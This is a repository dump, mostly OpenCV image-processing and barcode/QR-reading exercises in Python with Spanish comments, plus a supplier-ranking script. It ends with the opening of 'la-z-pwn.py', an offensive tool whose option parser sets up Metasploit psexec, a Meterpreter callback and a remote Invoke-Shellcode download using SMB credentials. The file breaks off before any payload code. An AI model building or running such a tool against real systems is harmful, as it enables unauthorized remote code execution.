cv2.imshow('Power-law image', power_law)
cv2.imshow('Original image', img)
command = input("Overwrite original image?")
if command == "yes":
img = power_law
#------- Threshold operations ---------
elif command == "thresh":
gray_image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
command = input("Choose the threshold operation:")
#-------- Threshold binary inverse ---------
if command == "inv":
ret,thresh = cv2.threshold(gray_image,150,255,cv2.THRESH_BINARY_INV)
#-------- Threshold adaptative mean ----------
elif command == "adaptmean":
thresh = cv2.adaptiveThreshold(gray_image,255,cv2.ADAPTIVE_THRESH_MEAN_C,
cv2.THRESH_BINARY_INV,11,4)
#-------- Threshold adaptative gaussian -------
elif command == "adaptgauss":
thresh = cv2.adaptiveThreshold(gray_image,255,cv2.ADAPTIVE_THRESH_GAUSSIAN_C,
cv2.THRESH_BINARY_INV,15,3)
print('Error Threshold operation:',meanSquareError(img,thresh))
command = input("Overwrite original image?")
if command == "yes":
img = thresh
cv2.imshow('Threshold image', thresh)
cv2.imshow('Original image', gray_image)
#---------- Contrast enhancement with histograms -------
elif command == "contrast":
command = input("Choose the contrast operation:")
#---------- Original histogram -------------
gray_image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
hist,bins = np.histogram(gray_image.flatten(),256,[0,256])
cdf = hist.cumsum()
cdf_normalized = cdf * hist.max()/ cdf.max()
plt.plot(cdf_normalized, color = 'b')
plt.hist(gray_image.flatten(),256,[0,256], color = 'r')
plt.xlim([0,256])
plt.legend(('cdf','histogram'), loc = 'upper left')
plt.title('Original gray image')
plt.show()
#-------- Equalization histogram ----------
if command == "equ":
equ = cv2.equalizeHist(gray_image)
hist1,bins = np.histogram(equ.flatten(),256,[0,256])
cdf = hist1.cumsum()
cdf_normalized = cdf * hist1.max()/ cdf.max()
plt.plot(cdf_normalized, color = 'b')
plt.hist(equ.flatten(),256,[0,256], color = 'r')
plt.xlim([0,256])
plt.legend(('cdf','histogram'), loc = 'upper left')
plt.title('Original gray image with equalization')
plt.show()
print('Error Equalization histogram:',histogramError(gray_image,hist,hist1))
command = input("Overwrite original image?")
if command == "yes":
img = equ
cv2.imshow('Equalized image', equ)
# ----------- CLAHE histogram
elif command == "clahe":
clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8))
cl1 = clahe.apply(gray_image)
hist1,bins = np.histogram(cl1.flatten(),256,[0,256])
cdf = hist1.cumsum()
cdf_normalized = cdf * hist1.max()/ cdf.max()
plt.plot(cdf_normalized, color = 'b')
plt.hist(cl1.flatten(),256,[0,256], color = 'r')
plt.xlim([0,256])
plt.legend(('cdf','histogram'), loc = 'upper left')
plt.title('Original gray image with CLAHE')
plt.show()
print('Error CLAHE histogram:',histogramError(gray_image,hist,hist1))
command = input("Overwrite original image?")
cv2.imshow('CLAHE image', cl1)
if command == "yes":
img = cl1
cv2.imshow('Original gray image', gray_image)
#-------- Smoothing filter -----------
elif command == "smoothing":
command = input("Choose the smoothing filter:")
#---------- 2D Convolution --------------
if command == "2dconv":
kernel = np.ones((5,5),np.float32)/25
dst = cv2.filter2D(img,-1,kernel)
print('Error 2D Convolution:',meanSquareError(img,dst))
command = input("Overwrite original image?")
if command == "yes":
img = dst
cv2.imshow('2D convolution image', dst)
#---------- Blur --------------
elif command == "blur":
blur = cv2.blur(img,(5,5))
print('Error Blur:',meanSquareError(img,blur))
command = input("Overwrite original image?")
if command == "yes":
img = blur
cv2.imshow('Blur image', blur)
#---------- Gaussian blur --------------
elif command == "gaussian":
gaussianblur = cv2.GaussianBlur(img,(5,5),0)
print('Error Gaussian blur:',meanSquareError(img,gaussianblur))
command = input("Overwrite original image?")
if command == "yes":
img = gaussianblur
cv2.imshow('Gaussian blur image', gaussianblur)
#---------- Median blur --------------
elif command == "median":
median = cv2.medianBlur(img,5)
print('Error Median blur:',meanSquareError(img,median))
command = input("Overwrite original image?")
if command == "yes":
img = median
cv2.imshow('Median blur image', median)
#---------- Bilateral filter --------------
elif command == "bilateral":
bilateralFilter = cv2.bilateralFilter(img,9,75,75)
print('Error Bilateral filter:',meanSquareError(img,bilateralFilter))
command = input("Overwrite original image?")
if command == "yes":
img = bilateralFilter
cv2.imshow('Bilateral filter image', bilateralFilter)
cv2.imshow('Original image', img)
else:
print('Not image loaded yet')
cv2.waitKey(0)
cv2.destroyAllWindows()
<file_sep># -*- coding: utf-8 -*-
"""
Created on Tue Feb 28 10:54:40 2017
@author: JM
"""
import cv2
import numpy as np
from barcodeDetecting import barcode
def crop(box):
x0 = box[0][0]
x1 = box[0][0]
y0 = box[0][1]
y1 = box[0][1]
for i in (range (len(box))):
x0 = min(x0 , box[i][0])
x1 = max(x1, box[i][0])
y0 = min(y0 , box[i][1])
y1 = max(y1, box[i][1])
return (x0-5,x1+5,y0,y1)
def readImage(filename):
image = cv2.imread('../images/' + filename)
if(len(image)>1200):
image = cv2.resize(image, (1200, 800))
return image
def imageProcessing(original,image):
# construct a closing kernel and apply it to the thresholded image
kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (21, 7))
closed = cv2.morphologyEx(image, cv2.MORPH_CLOSE, kernel)
# perform a series of erosions and dilations
closed = cv2.erode(closed, None, iterations = 4)
closed = cv2.dilate(closed, None, iterations = 4)
# find the contours in the thresholded image, then sort the contours
# by their area, keeping only the largest one
(_,cnts ,_) = cv2.findContours(closed.copy(), cv2.RETR_EXTERNAL,
cv2.CHAIN_APPROX_SIMPLE)
c = sorted(cnts, key = cv2.contourArea, reverse = True)[0]
# compute the rotated bounding box of the largest contour
rect = cv2.minAreaRect(c)
print(rect)
box = np.int0(cv2.boxPoints(rect))
# draw a bounding box arounded the detected barcode and display the
# image
cv2.drawContours(original, [box], -1, (0, 255, 0), 3)
cv2.imshow("Image", original)
cv2.waitKey(0)
return box,rect
"""
### -------------- Prueba 1: Barcode perfecto --------------------------------------------------
#Leemos el fichero
filename = "barcode.png"
image = readImage(filename)
#Convertimos la imagen a gris y le aplicamos la deteccion de vertices de Canny
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
thresh = cv2.Canny(gray,100,200)
#Obtenemos el contorno del barcode y recortamos el barcode a partir del contorno
box,_ = imageProcessing(image.copy(),thresh)
y1,y2,x1,x2 = crop(box)
cropped = image[x1:x2,y1:y2]
#Aplicamos la decodificacion del barcode
gray = cv2.cvtColor(cropped, cv2.COLOR_BGR2GRAY)
barcode = barcode(gray)
barcode.read_barcode()
barcode.show()
###------------------------------------------------------------------------------------------
"""
"""
###------------- Prueba 2: Barcode en objeto ---------------------------------------------
#Leemos el fichero
filename = "barcode-3.jpg"
image = readImage(filename)
#Rotamos la imagen 180º para obtener el barcode
rot_mat = cv2.getRotationMatrix2D((image.shape[0]/2, image.shape[1]/2),180,1.0)
image = cv2.warpAffine(image, rot_mat, (image.shape[0], image.shape[1]),flags=cv2.INTER_LINEAR)
#Convertimos la imagen a gris y le aplicamos la deteccion de vertices de Canny
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
thresh = cv2.Canny(gray,50,100)
#Obtenemos el contorno del barcode y recortamos el barcode a partir del contorno
box,rect = imageProcessing(image.copy(),thresh)
y1,y2,x1,x2 = crop(box)
cropped = image[x1:x2,y1:y2]
#Aplicamos la decodificacion del barcode
gray = cv2.cvtColor(cropped, cv2.COLOR_BGR2GRAY)
barcode = barcode(gray)
barcode.read_barcode()
barcode.show()
###-------------------------------------------------------------------------------------
"""
"""
###------------ Prueba 3: Barcode girado --------------------------------------------------
#Leemos el fichero
filename = "girada.jpg"
image = readImage(filename)
#Convertimos la imagen a gris y le aplicamos la deteccion de vertices de Canny
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
thresh = cv2.Canny(gray,100,200)
#Obtenemos el contorno del barcode y recortamos el barcode a partir del contorno
box,rect = imageProcessing(image.copy(),thresh)
y1,y2,x1,x2 = crop(box)
cropped = image[x1:x2,y1:y2]
#Giramos la imagen en funcion del grado de curvatura
rot_mat = cv2.getRotationMatrix2D((cropped.shape[0]/2, cropped.shape[1]/2),rect[2],1.0)
cropped = cv2.warpAffine(cropped, rot_mat, (cropped.shape[0]+25, cropped.shape[1]+25),flags=cv2.INTER_LINEAR)
#Calculamos de nuevo el codigo de barras para desechar las partes innecesarias de la imagen y recortamos
gray = cv2.cvtColor(cropped, cv2.COLOR_BGR2GRAY)
thresh = cv2.Canny(gray,70,183)
box,rect = imageProcessing(cropped.copy(),thresh)
y1,y2,x1,x2 = crop(box)
cropped = cropped[x1:x2,y1+15:y2]
#Aplicamos la decodificacion del barcode
gray = cv2.cvtColor(cropped, cv2.COLOR_BGR2GRAY)
barcode = barcode(gray)
barcode.read_barcode()
barcode.show()
"""
"""
### -------------- Prueba 4: Modo experto (Desencripta chino) --------------------------------------------------
#Leemos el fichero
filename = "barcode.jpeg"
image = readImage(filename)
#Convertimos la imagen a gris y le aplicamos la deteccion de vertices de Canny
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
thresh = cv2.Canny(gray,100,200)
#Obtenemos el contorno del barcode y recortamos el barcode a partir del contorno
box,_ = imageProcessing(image.copy(),thresh)
y1,y2,x1,x2 = crop(box)
cropped = image[x1:x2,y1:y2]
#Aplicamos operaciones morfologicas con un kernel con forma de linea vertical recta
#con la que mejorar las barras de la imagen
kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (1, 40))
cropped = cv2.morphologyEx(cropped, cv2.MORPH_CLOSE, kernel)
cropped = cv2.morphologyEx(cropped, cv2.MORPH_OPEN, kernel)
#Aplicamos la decodificacion del barcode
gray = cv2.cvtColor(cropped, cv2.COLOR_BGR2GRAY)
barcode = barcode(gray)
barcode.read_barcode()
barcode.show()
###------------------------------------------------------------------------------------------
"""
"""
### -------------- Prueba 5: Lectura de Barcode con ruido --------------------------------------------------
#Leemos el fichero
filename = "barcode-saltnoise.jpg"
image = readImage(filename)
#Convertimos la imagen a gris y le aplicamos operaciones morfológicas para remover el ruido sal y pimienta
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (1, 80))
thresh = cv2.morphologyEx(gray, cv2.MORPH_CLOSE, kernel)
cv2.imshow("Image", thresh)
cv2.waitKey(0)
thresh = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel)
cv2.imshow("Image", thresh)
cv2.waitKey(0)
#Aplicamos la detección de bordes de Canny a la imagen sin ruido
thresh = cv2.Canny(thresh,100,200)
cv2.imshow("Image", thresh)
cv2.waitKey(0)
#Obtenemos el contorno del barcode y recortamos el barcode a partir del contorno
box,_ = imageProcessing(image.copy(),thresh)
y1,y2,x1,x2 = crop(box)
cropped = image[x1:x2,y1:y2]
#Como el barcode queda muy pequeño, lo reescalamos para mejorar la deteccion
cropped = cv2.resize(cropped, (600, 400))
#Aplicamos la decodificacion del barcode
gray = cv2.cvtColor(cropped, cv2.COLOR_BGR2GRAY)
barcode = barcode(gray)
barcode.read_barcode()
barcode.show()
###------------------------------------------------------------------------------------------
"""
"""
### -------------- Prueba 6: Barcode con poca iluminacion --------------------------------------------------
#Leemos el fichero
filename = "barcode-oscuro.jpg"
image = readImage(filename)
#Convertimos la imagen a gris y le aplicamos la deteccion de vertices de Canny
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
thresh = cv2.Canny(gray,100,200)
#Obtenemos el contorno del barcode y recortamos el barcode a partir del contorno
box,_ = imageProcessing(image.copy(),thresh)
y1,y2,x1,x2 = crop(box)
cropped = image[x1:x2,y1:y2]
cropped = cv2.resize(cropped, (600, 400))
#Se le aplican operaciones morfologicas para quitar el ruido blanco que se genera al tener poca iluminacion
kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (1, 10))
cropped = cv2.erode(cropped, kernel, iterations = 2)
cropped = cv2.dilate(cropped, kernel, iterations = 6)
#Se le aplica un threshold adaptativo que mejora la calidad en ambientes con poca iluminacion
cropped = cv2.cvtColor(cropped, cv2.COLOR_BGR2GRAY)
cropped = cv2.adaptiveThreshold(cropped,255,cv2.ADAPTIVE_THRESH_GAUSSIAN_C,cv2.THRESH_BINARY,11,2)
#Aplicamos la decodificacion del barcode
barcode = barcode(cropped)
barcode.read_barcode()
barcode.show()
###------------------------------------------------------------------------------------------
"""
cv2.destroyAllWindows()<file_sep># lista de proveedores
import numpy as np
def inicia():
prov1 =[2, 100, 249, 90, 100]
prov2 =[13, 99.97, 643, 80, 100]
prov3 =[3, 100, 714, 90, 100]
prov4 =[3, 100, 1809, 90, 100]
prov5 =[24, 99.83, 238, 90, 100]
prov6 =[28, 96.59, 241, 90, 100]
prov7 =[1,100,1404,85,100]
prov8 =[24,100,984,97,100]
prov9 =[11,99.91,641,90,100]
prov10 =[53,97.54,588,100,100]
prov11 =[10,99.95,241,95,100]
prov12 =[7,99.85,567,98,100]
prov13 =[19,99.97,567,90,100]
prov14 =[12,91.89,967,90,100]
prov15 =[33,99.99,635,95,80]
prov16 =[2,100,795,95,100]
prov17 =[34,99.99,689,95,80]
prov18 =[9,99.36,913,85,100]
prov =np.array([prov1,prov2,prov3,prov4,prov5,prov6,prov7,prov8,prov9,prov10,prov11,prov12,prov13,prov14,prov15,prov16,prov17,prov18])
return prov
# normaliza las características
def normalizaLista(lista):
normalized = lista.copy()
for i in range(len(lista)):
for j in range(len(lista[i])):
valMax = max (lista[:,j])
valMin = min (lista[:,j])
val = lista[i][j]
normalized[i][j] = (val-valMin)/(valMax-valMin)
#print(normalized,"\n")
return(normalized)
#for j in range(len(lista)):
#este metodo establece la proporcion inversa de los valores selecionados
# en este caso los valores que hay que invertir son la distancia reciproca y el indice de precios (columnas 3 y 5)
def invierte_proporcion(lista,listaValores):
for valor in listaValores:
lista[:,valor]=abs(lista[:,valor]-1)
return (lista)
def peso_proveedor(listaNormalizada):
pesos = [[] for _ in listaNormalizada]
for i in range(len(listaNormalizada)):
for j in range(len(listaNormalizada[i])):
suma = 0
for z in range(j+1):
suma +=listaNormalizada[i][z]
suma = suma/(j+1)
pesos[i].append(suma)
listaProveedores = [max(i) for i in pesos]
print(pesos,"\n")
print(listaProveedores)
listaOri = inicia()
lista = normalizaLista(inicia())
lista = invierte_proporcion(lista, [2,4])
peso_proveedor(lista)
<file_sep># import the necessary packages
import numpy as np
import argparse
import cv2
import os
nombre = os.popen('ls fotos/').read()
def nombres(nombre):
datos =nombre.split("\n")
return(datos[:len(datos)-1])
nom = nombres(nombre)
#print (nom)
## este metodo se usa para recortar el codigo de barras
## el margen derecho es muy corto, ¿posibles problemas?
def recorta(box):
x0 = box[0][0]
x1 = box[0][0]
y0 = box[0][0]
y1 = box[0][0]
for i in (range (len(box))):
x0 = min(x0 , box[i][0])
x1 = max(x1, box[i][0])
y0 = min(y0 , box[i][1])
y1 = max(y1, box[i][1])
return (x0,x1,y0,y1)
def barCode(name):
image = cv2.imread('images/'+ name)
#print (name,len(image))
"""
if(len(image)>683):
image = image = cv2.resize(image, (683, 384))
"""
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
# Sobel se usa para buscar los bordes de la imagen
gradX = cv2.Sobel(gray, ddepth = cv2.CV_32F, dx = 1, dy = 0, ksize = -1)
gradY = cv2.Sobel(gray, ddepth = cv2.CV_32F, dx = 0, dy = 1, ksize = -1)
# al restar los valores y hacerle el valor absoulto tenemos una imagen de los filos
# de la imagen
gradient = cv2.subtract(gradX, gradY)
gradient = cv2.convertScaleAbs(gradient)
# blur and threshold the image
blurred = cv2.bilateralFilter(gradient,9,75,75)
(_, thresh) = cv2.threshold(blurred, 225, 255, cv2.THRESH_BINARY)
kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (21, 7))
closed = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel)
closed = cv2.erode(closed, None, iterations = 4)
closed = cv2.dilate(closed, None, iterations = 4)
cv2.imwrite("manual1.jpg",closed)
#cv2.waitKey()
# find the contours in the thresholded image, then sort the contours
# by their area, keeping only the largest one
(_,cnts, _) = cv2.findContours(closed.copy(), cv2.RETR_EXTERNAL,
cv2.CHAIN_APPROX_SIMPLE)
c = sorted(cnts, key = cv2.contourArea, reverse = True)[0]
# compute the rotated bounding box of the largest contour
rect = cv2.minAreaRect(c)
box = np.int0(cv2.boxPoints(rect))
# draw a bounding box arounded the detected barcode and display the
# image
#cv2.drawContours(image, [box], -1, (0, 255, 0), 3)
#cv2.imshow("Image", image)
#cv2.waitKey(0)
x0,x1,y0,y1 =recorta(box)
#print(box)
cropped = image[ y0:y1,x0:x1]
"""
if ((len (cropped)>0) and (len(cropped[0]))):
print(len(cropped),len(cropped[0]))
_,cropped = cv2.threshold(cropped,100,255,cv2.THRESH_BINARY)
cropped = cv2.cvtColor(cropped, cv2.COLOR_BGR2GRAY)
cv2.imwrite("cropped+"+name, cropped)
"""
cv2.imshow("recortada", cropped)
cv2.waitKey(0)
cv2.destroyAllWindows()
#recorre(cropped)
def canny(name):
image = cv2.imread('images/'+ name)
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
thresh = cv2.Canny(gray,50,100)
kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (21, 7))
closed = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel)
closed = cv2.erode(closed, None, iterations = 4)
closed = cv2.dilate(closed, None, iterations = 4)
cv2.imwrite("canny1.jpg",closed)
def hough(name):
print(1 )
img = cv2.imread('images/'+name)
gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
edges = cv2.Canny(gray,75,100,apertureSize = 3)
lines = cv2.HoughLines(edges,1,np.pi/180,400)
for rho,theta in lines[0]:
a = np.cos(theta)
b = np.sin(theta)
x0 = a*rho
y0 = b*rho
x1 = int(x0 + 1000*(-b))
y1 = int(y0 + 1000*(a))
x2 = int(x0 - 1000*(-b))
y2 = int(y0 - 1000*(a))
cv2.line(img,(x1,y1),(x2,y2),(0,0,255),2)
cv2.imwrite('houghlines3.jpg',img)
def fourier(name):
img = cv2.imread('images/'+name)
Mat1f img = img.reshape(1);
dft = cv2.dft((img),flags = cv2.DFT_COMPLEX_OUTPUT)
dft_shift = np.fft.fftshift(dft)
cv2.imwrite('dft_shift.jpg',img)
rows, cols = img.shape
crow,ccol = rows/2 , cols/2
# create a mask first, center square is 1, remaining all zeros
mask = np.zeros((rows,cols,2),np.uint8)
mask[crow-30:crow+30, ccol-30:ccol+30] = 1
# apply mask and inverse DFT
fshift = dft_shift*mask
f_ishift = np.fft.ifftshift(fshift)
img_back = cv2.idft(f_ishift)
img_back = cv2.magnitude(img_back[:,:,0],img_back[:,:,1])
cv2.imwrite('img_back.jpg',img)
fourier("barcode-3.jpg")
#hough("barcode-3.jpg")
#barCode("barcode-3.jpg")
#canny("barcode-3.jpg")
<file_sep># -*- coding: utf-8 -*-
import numpy as np
import cv2
def align_boundary(img, cursor, begin, end):
if (img[cursor[1]][cursor[0]] == end):
while (img[cursor[1]][cursor[0]] == end):
cursor[0] += 1
else:
while (img[cursor[1]][cursor[0]-1] == begin):
cursor[0] -= 1;
def read_digit(img, cursor, unit_width, Lcode, Gcode,Rcode, position, SPACE, BAR):
# Read the 7 consecutive bits.
pattern = [0, 0, 0, 0, 0, 0, 0]
for i in range(len(pattern)):
for j in range(unit_width):
if (img[cursor[1]][cursor[0]] == BAR):
pattern[i] += 1
cursor[0] += 1
if (pattern[i] == 1 and img[cursor[1]][cursor[0]] == BAR
or pattern[i] == unit_width-1 and img[cursor[1]][cursor[0]] == SPACE):
cursor[0] -= 1
# Convert to binary, consider that a bit is set if the number of
# bars encountered is greater than a threshold.
threshold = unit_width / 2
v = ""
for i in range(len(pattern)):
if pattern[i] >= threshold:
v += str(1)
else:
v += str(0)
encoding=""
# Lookup digit value.
if (position == "LEFT"):
digit = Lcode.get(v)
encoding = "L"
if digit is None:
digit = Gcode.get(v)
encoding = "G"
align_boundary(img, cursor, SPACE, BAR)
else:
digit = Rcode.get(v)
align_boundary(img, cursor, BAR, SPACE)
print("El codigo vale", v, "Digito", digit)
return digit,encoding
def skip_quiet_zone(img, cursor, SPACE):
while (img[cursor[1]][cursor[0]] == SPACE):
cursor[0]+=1
def read_lguard(img, cursor, BAR, SPACE):
widths = [ 0, 0, 0 ]
pattern = [ BAR, SPACE, BAR ]
for i in range(len(widths)):
while (img[cursor[1]][cursor[0]] == pattern[i]):
cursor[0]+=1
widths[i]+=1
return widths[0];
def skip_mguard(img, cursor, BAR, SPACE):
pattern = [ SPACE, BAR, SPACE, BAR, SPACE ]
for i in range(len(pattern)):
while (img[cursor[1]][cursor[0]] == pattern[i]):
cursor[0]+=1
def read_barcode(filename):
#Definimos todas las variables necesarias
img = cv2.imread('../images/' + filename, 0)
img = cv2.bitwise_not(img)
_,img = cv2.threshold(img,128,255,cv2.THRESH_BINARY)
cv2.imshow("original",img)
#img = cv2.threshold(img, 128,255, cv2.THRESH_BINARY)
#Definimos una lista como el cursor con los ejes [X,Y]
cursor = [0,int(len(img[0]) / 2)]
#Se definen las dos regiones que se encuentran dentro del codigo de barras
Lcode = {"0001101":0,"0011001":1,"0010011":2,"0111101":3,"0100011":4,
"0110001":5,"0101111":6,"0111011":7,"0110111":8,"0001011":9}
Gcode = {"0100111":0,"0110011":1,"0011011":2,"0100001":3,"0011101":4,
"0111001":5,"0000101":6,"0010001":7,"0001001":8,"0010111":9}
Rcode = {"1110010":0,"1100110":1,"1101100":2,"1000010":3,"1011100":4,
"1001110":5,"1010000":6,"1000100":7,"1001000":8,"1110100":9}
typeEncoding = {"LLLLLL":0,"LLGLGG":1,"LLGGLG":2,"LLGGGL":3,"LGLLGG":4,
"LGGLLG":5,"LGGGLL":6,"LGLGLG":7,"LGLGGL":8,"LGGLGL":9}
#Definimos los espacios en blanco y las barras negras
SPACE = 0
BAR = 255
## --------- Aplicado por Luis --------
#cv::bitwise_not(img, img);
#cv::threshold(img, img, 128, 255, cv::THRESH_BINARY);
## ------------------------------
#Nos saltamos la primera zona de seguridad
skip_quiet_zone(img,cursor, SPACE)
#Calibramos el valor para que se coloque en la primera barra del codigo izquierdo
unit_width = read_lguard(img, cursor, BAR, SPACE)
#Almacenamos los digitos asociados al valor del codigo izquierdo
#std::vector<int> digits;
digits = ""
encoding = ""
for i in range(6):
d,e = read_digit(img, cursor, unit_width, Lcode, Gcode, Rcode, "LEFT", SPACE, BAR)
digits += str(d)
encoding += e
#Saltamos las barras de seguridad del medio
skip_mguard(img, cursor, BAR, SPACE)
#Almacenamos los digitos asociados al valor del codigo derecho
for i in range(6):
d,_ = read_digit(img, cursor, unit_width, Lcode, Gcode, Rcode, "RIGHT", SPACE, BAR)
digits += str(d)
firstDigit = typeEncoding.get(encoding)
print(str(firstDigit)+digits)
#imagen = 'barcodes/20170223_151821.jpg'
imagen = 'barcode5.jpg'
#imagen = 'barcode.png' ##Imagen wena pa k funke
read_barcode(imagen)
"""
# load the image and convert it to grayscale
image = cv2.imread('../images/' + imagen)
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
# compute the Scharr gradient magnitude representation of the images
# in both the x and y direction
gradX = cv2.Sobel(gray, ddepth = cv2.CV_32F, dx = 1, dy = 0, ksize = -1)
gradY = cv2.Sobel(gray, ddepth = cv2.CV_32F, dx = 0, dy = 1, ksize = -1)
# subtract the y-gradient from the x-gradient
#Se le aplica una resta para resaltar el resultado del eje X(Codigo de barras) frente al eje Y(numeros del codigo)
gradient = cv2.subtract(gradX, gradY)
gradient = cv2.convertScaleAbs(gradient)
# blur and threshold the image
blurred = cv2.blur(gradient, (5, 5))
bilateralFilter = cv2.bilateralFilter(gradient,9,75,75)
(_, thresh) = cv2.threshold(blurred, 225, 255, cv2.THRESH_BINARY)
(_, thresh1) = cv2.threshold(bilateralFilter, 225, 255, cv2.THRESH_BINARY)
# construct a closing kernel and apply it to the thresholded image
kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (21, 7))
closed = cv2.morphologyEx(thresh1, cv2.MORPH_CLOSE, kernel)
# perform a series of erosions and dilations
closed = cv2.erode(closed, None, iterations = 4)
closed = cv2.dilate(closed, None, iterations = 4)
# find the contours in the thresholded image, then sort the contours
# by their area, keeping only the largest one
(_,cnts ,_) = cv2.findContours(closed.copy(), cv2.RETR_EXTERNAL,
cv2.CHAIN_APPROX_SIMPLE)
c = sorted(cnts, key = cv2.contourArea, reverse = True)[0]
# compute the rotated bounding box of the largest contour
rect = cv2.minAreaRect(c)
box = np.int0(cv2.boxPoints(rect))
# draw a bounding box arounded the detected barcode and display the
# image
cv2.drawContours(image, [box], -1, (0, 255, 0), 3)
cv2.imshow("Image", image)
cv2.waitKey(0)
cv2.imshow('X',gradX)
cv2.imshow('Y',gradY)
cv2.imshow('',closed)
cv2.imshow('Blurred',blurred)
cv2.imshow('Threshold',thresh)
cv2.imshow('Bilateral',bilateralFilter)
cv2.imshow('Threshold 1',thresh1)
"""
cv2.waitKey(0)
cv2.destroyAllWindows()
<file_sep># -*- coding: utf-8 -*-
"""
Created on Tue Feb 28 10:54:40 2017
@author: JM
"""
import cv2
import numpy as np
def crop(box):
x0 = box[0][0]
x1 = box[0][0]
y0 = box[0][1]
y1 = box[0][1]
for i in (range (len(box))):
x0 = min(x0 , box[i][0])
x1 = max(x1, box[i][0])
y0 = min(y0 , box[i][1])
y1 = max(y1, box[i][1])
return (x0-5,x1+5,y0,y1)
def readImage(filename):
image = cv2.imread('images/' + filename)
if(len(image)>1200):
image = cv2.resize(image, (1200, 800))
return image
def imageProcessing(original,image):
# construct a closing kernel and apply it to the thresholded image
kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (10, 10))
closed = cv2.morphologyEx(image, cv2.MORPH_CLOSE, kernel)
# perform a series of erosions and dilations
closed = cv2.erode(closed, None, iterations = 4)
closed = cv2.dilate(closed, None, iterations = 4)
# find the contours in the thresholded image, then sort the contours
# by their area, keeping only the largest one
(_,cnts ,_) = cv2.findContours(closed.copy(), cv2.RETR_EXTERNAL,
cv2.CHAIN_APPROX_SIMPLE)
c = sorted(cnts, key = cv2.contourArea, reverse = True)[0]
# compute the rotated bounding box of the largest contour
rect = cv2.minAreaRect(c)
print(rect)
box = np.int0(cv2.boxPoints(rect))
# draw a bounding box arounded the detected barcode and display the
# image
cv2.drawContours(original, [box], -1, (0, 255, 0), 3)
cv2.imshow("Image", original)
cv2.imwrite(filename,original)
cv2.waitKey(0)
return box,rect
### -------------- Prueba 1: QR perfecto --------------------------------------------------
#Leemos el fichero
filename = "qr.jpg"
image = readImage(filename)
#Convertimos la imagen a gris y le aplicamos la deteccion de vertices de Canny
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
thresh = cv2.Canny(gray,100,200)
#Obtenemos el contorno del QR y recortamos el QR a partir del contorno
box,_ = imageProcessing(image.copy(),thresh)
y1,y2,x1,x2 = crop(box)
cropped = image[x1:x2,y1:y2]
cv2.imwrite("recorte1.jpg",cropped)
###------------------------------------------------------------------------------------------
### -------------- Prueba 2: QR imagen --------------------------------------------------
#Leemos el fichero
filename = "qr1.jpg"
image = readImage(filename)
#Convertimos la imagen a gris y le aplicamos la deteccion de vertices de Canny
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
thresh = cv2.Canny(gray,100,200)
#Obtenemos el contorno del QR y recortamos el QR a partir del contorno
box,_ = imageProcessing(image.copy(),thresh)
y1,y2,x1,x2 = crop(box)
cropped = image[x1:x2,y1:y2]
cv2.imwrite("recorte2.jpg",cropped)
###------------------------------------------------------------------------------------------
cv2.destroyAllWindows()
<file_sep># OpenCV-exercises
Exercises with Python using OpenCV
| d59a4dc0c86c7f559c3f9c137bf2ddd51ef60763 | [
"Markdown",
"Python"
] | 10 | Python | JMiguelDB/OpenCV-exercises | cfaa00cc6d880dccd193c43dc097bd4ab7fd03ef | 86fadd64db06f48ca9f7aeb194328cc03eca534d |
refs/heads/master | <repo_name>et0x/la-z-pwn<file_sep>/la-z-pwn.py
#!/usr/bin/python
import base64,subprocess
from optparse import OptionParser
def main():
parser = OptionParser()
parser.add_option("-l","--lhost",dest="lhost",help="LHOST for Meterpreter",action="store")
parser.add_option("-p","--lport",dest="lport",help="LPORT for Meterpreter",action="store")
parser.add_option("-s","--script",dest="scriptloc",help="Where to tell target to download script from (http://path.to/script.ps1)",action="store")
parser.add_option("-f","--file",dest="rcfile",help="Where to save metasploit rc file (/path/to/file.rc)",action="store")
parser.add_option("-r","--rhosts",dest="rhosts",help="RHOSTS field for psexec_command in metasploit",action="store")
parser.add_option("-U","--smbuser",dest="smbuser",help="SMBUSER field for psexec_command in metasploit",action="store")
parser.add_option("-P","--smbpass",dest="smbpass",help="SMBPASS field for psexec_command in metasploit",action="store")
parser.add_option("-d","--smbdomain",dest="smbdomain",help="SMBDOMAIN field for psexec_command in metasploit (default: WORKGROUP)",default="WORKGROUP",action="store")
parser.add_option("-g","--getscript",dest="getscript",help="If this switch is supplied, <NAME>'s Powersploit / Invoke-Shellcode script will be downloaded from his repository",action="store_true")
parser.add_option("-k","--savescript",dest="savescript",help="Where to save Invoke-Shellcode script if you use -g/--getscript",action="store")
parser.add_option("-x","--execute",dest="execute",help="Execute msfconsole with the supplied rc file",action="store_true")
(opts, args) = parser.parse_args()
mandatoryargs = ["lhost","lport","scriptloc","rcfile","rhosts","smbuser","smbpass"]
for m in mandatoryargs:
if not opts.__dict__[m]:
print "[!] Mandatory argument is missing!"
parser.print_help()
exit(-1)
if opts.getscript and not opts.savescript:
print "[!] You must choose where to save the Invoke-Shellcode script (ex: /var/www/payload.ps1)"
parser.print_help()
exit(-1)
lhost = opts.lhost
lport = opts.lport
scriptloc= opts.scriptloc
rcfile = opts.rcfile
rhosts = opts.rhosts
smbuser = opts.smbuser
smbpass = opts.smbpass
smbdomain= opts.smbdomain
